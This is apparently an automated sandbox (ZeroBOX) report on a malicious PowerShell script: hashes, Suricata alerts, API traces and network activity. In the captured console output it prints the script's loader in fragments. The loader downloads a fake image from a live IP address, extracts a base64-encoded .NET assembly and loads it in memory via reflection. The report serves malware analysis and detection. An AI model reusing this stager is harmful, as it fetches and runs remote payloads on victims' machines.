Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 4, 2024, 9:55 a.m.	July 4, 2024, 9:57 a.m.

Size	1.3KB
Type	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
MD5	`0bb85daee10c39c2eb3a05ebc874a585`
SHA256	`b4494b454e457c5bb20d0ec8ad6507ac6faf6f3695e9ea4917965d7e71c8e4a5`
CRC32	`47397348`
ssdeep	`24:nuGA2EiiJRCk7Lw1kfJNGkom/2PN28P8xp+DxWELCJqy:0ib1gPam/eNhP83QxvC1`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\file_5jjhn5s1.zo4.txt.ps1
2560

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
91.92.254.194	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 91.92.254.194:80 -> 192.168.56.101:49162	2400012	ET DROP Spamhaus DROP Listed Traffic Inbound group 13	Misc Attack
TCP 91.92.254.194:80 -> 192.168.56.101:49162	2047750	ET MALWARE Base64 Encoded MZ In Image	A Network Trojan was detected
TCP 91.92.254.194:80 -> 192.168.56.101:49162	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW July 4, 2024, 9:55 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (19 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: Exception calling "Invoke" with "2" argument(s): "The requested security protoc console_handle: 0x00000023	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: ol is not supported." console_handle: 0x0000002f	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: At line:1 char:917 console_handle: 0x0000003b	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: + $link = 'http://91.92.254.194/imge/new-image_v.jpg'; $webClient = New-Object console_handle: 0x00000047	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } console_handle: 0x00000053	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; e console_handle: 0x0000005f	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: xit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UT console_handle: 0x0000006b	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: F8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<B console_handle: 0x00000077	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: ASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageT console_handle: 0x00000083	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: ext.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { console_handle: 0x0000008f	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $bas console_handle: 0x0000009b	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: e64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = console_handle: 0x000000a7	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.R console_handle: 0x000000b3	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: eflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunP console_handle: 0x000000bf	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: E.Home'); $method = $type.GetMethod('VAI').Invoke <<<< ($null, [object[]] ('txt console_handle: 0x000000cb	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: .HGU/99055/61.532.59.32//:ptth' , 'desativado' , 'desativado' , 'desativado','R console_handle: 0x000000d7	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: egAsm','')) } } console_handle: 0x000000e3	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000000ef	1	1
WriteConsoleW July 4, 2024, 9:55 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodTargetInvocation console_handle: 0x000000fb	1	1

Uses Windows APIs to generate a cryptographic key (6 events)

Time & API	Arguments	Status	Return
CryptExportKey July 4, 2024, 9:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0065bb88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0065bb88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0065bb88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0065bb88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0065bb88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0065bb88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 4, 2024, 9:55 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://91.92.254.194/imge/new-image_v.jpg

Performs some HTTP requests (1 event)

request

GET http://91.92.254.194/imge/new-image_v.jpg

Allocates read-write-execute memory (usually to unpack itself) (34 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0225b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02239000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05650000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05660000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02269000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05651000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05476000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05477000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05652000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05653000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05654000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07760000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07890000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07891000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07892000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07893000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07894000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05655000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05656000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05657000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05658000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0223d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05478000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05461000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:55 a.m.	process_identifier: 2560 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05659000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 4, 2024, 9:55 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (1 event)

Data received

D^àÍ× *»¥Ùµ'Ò8ÇÆ·û^UÕ]H,^`&û!äSgõ«kÝ&iN T ªíSÅÀâÚåÙ3¸ßBÜÎ}<Èhîã\ Wðí³BHOÞ½*ux/2u?f]!=+ÊÎBî^6:ßRHÍ°;+ç?ëéuzí8/¡Wª2ß&ÏJ<ýp2¼ nÄÃ°)÷£wUÏ¯é|ZIôJ%hö²¼Ð6 gË¥y{,Çi%{{V{³<ÌcÒêc@Qgó¯åêàÕT+åºº°aaèAøæ«jÕ5:e[Ä2·á<uç¾Ù¨²Ã§H¤UÚYNÂ6óÁ¿1¤UµnZÈàû|O~GljmãmÔ`åÕQ|mès<ê1QÅpOªQ¤TU¢NãÀ®üfmKøf§a&µ#ñpsó¾®5û¬òï£Ùõïû] & £wde&þþ¿®|W,oáò!p®¬ {àbl n1Ý3»D9³|y¸à1e¦-^râ2ÊmE¬¨5;è©Ô$ADYN<µXöZ<WL¾âþc8àô:Ö\¾ÄÎùàB&àVl#ª-T Ä)µ%vQè=¯¾2\m, ðr:}qµrR~3ÐÖÚ<÷ÆDkÒFV7U}$cºö¿¶:tÓ<Q<`3I·Óé/¡Úw6949ù]ðé&5fShÌ~EIü?]jiãÓÞÕ·3qék;x±føºäñÒ:1UônfÚY÷"¨P:òóÓÎ"ûÉØhÛWp<¹[qm¯´µí?Í?®ÖÅ<k{v¨V{¬ <Wÿ|è?\]&0È±±Xî2;(b^)¯Ó$ªãÂ]TZæ1ªcÇ#¦Oâ $²¤VøÚM!;Oá¬2Í§×/RÚ8£l}ðÖËÂH>-²Ç©î2uz)4úÔ´wÃW\*`tïdc ËyrÚ ÑàU':¢Á$_éðýè¥¤nü9 ¤5X+ÀKY¢ÒóY\4 Æf¤ú^&þl0ÍçØÑ*8<ýÐK½HSÐQÁ7YüÍ3ü&ÁS\p)3ÊÃ vçÚ'r¡Ê:äù/±ÑÕ×>ø2ùÊÈHP£¯scbÂ¹±.F¯¨Á$e%°*z®*IM±J .¯ÕD Ù7á¾¸}##H m¶l6¥Òfm"ºà¼7LñyF»¯ü0jxÖ· Ù+¸úcb$gT2ícÒ*ï^8ÕTu¿jÀè`ó¢©g7Ï£Åü±B)(£pjq5± µW =²Vz-~¢EÀÐETDíÛ¾fO¨BÎ5nººçVÞö ñW|RmÌ\LÔIíTUT±VïlD#vÖ¯â aâT@©v@«÷Îbâè©^}¨E.Þ/¹ÍbñíUµ4lSHªC(#hç'FÑIÆûo|$vdì¤^bÓÀåå$éÅbmb»Ìxq6äa¾¯B&vQD ¸Å 2~#5¤³'âKãÔí$ÜO@p3ë:±¨ôþl[¢;à¤Q»é<Ë*H"ÊÖVue¨ß?<¼jOE'é>¢Ir.át(H'l¥`YÈ,JÆV³«'È»Ü-Õá*¤À ÙúaôË½É, íY£0Ë°úã:Wvuÿ¶mC»m`¬Êhs««ìk ÛRÉÚC®»ãè06f@ÆÑ?\ÏE*áð¨ o?ÒS®Ô/åËDÖ 04Õáã$ bÁXÐ=f4Ë@]0ê$.P°0q6¢BÔ@ s°`A$qf«ÃÌIf&¨ñðÎwR5°À<Z©<ÒÏÅÜò1¨¹iTÐøpU-êøwÇbZ(á[dÆÓÄ]#e6yïó«iÔ%@º§#ê»è£`^ÓÊv©<^ø5)*òAàbí©DpÀ

Poweshell is sending data to a remote host (1 event)

Data sent

GET /imge/new-image_v.jpg HTTP/1.1 Host: 91.92.254.194 Connection: Keep-Alive

Communicates with host for which no DNS query was performed (1 event)

host

91.92.254.194

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send July 4, 2024, 9:55 a.m.	buffer: GET /imge/new-image_v.jpg HTTP/1.1 Host: 91.92.254.194 Connection: Keep-Alive socket: 1540 sent: 83	1	83	0

file_5jjhn5s1.zo4.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All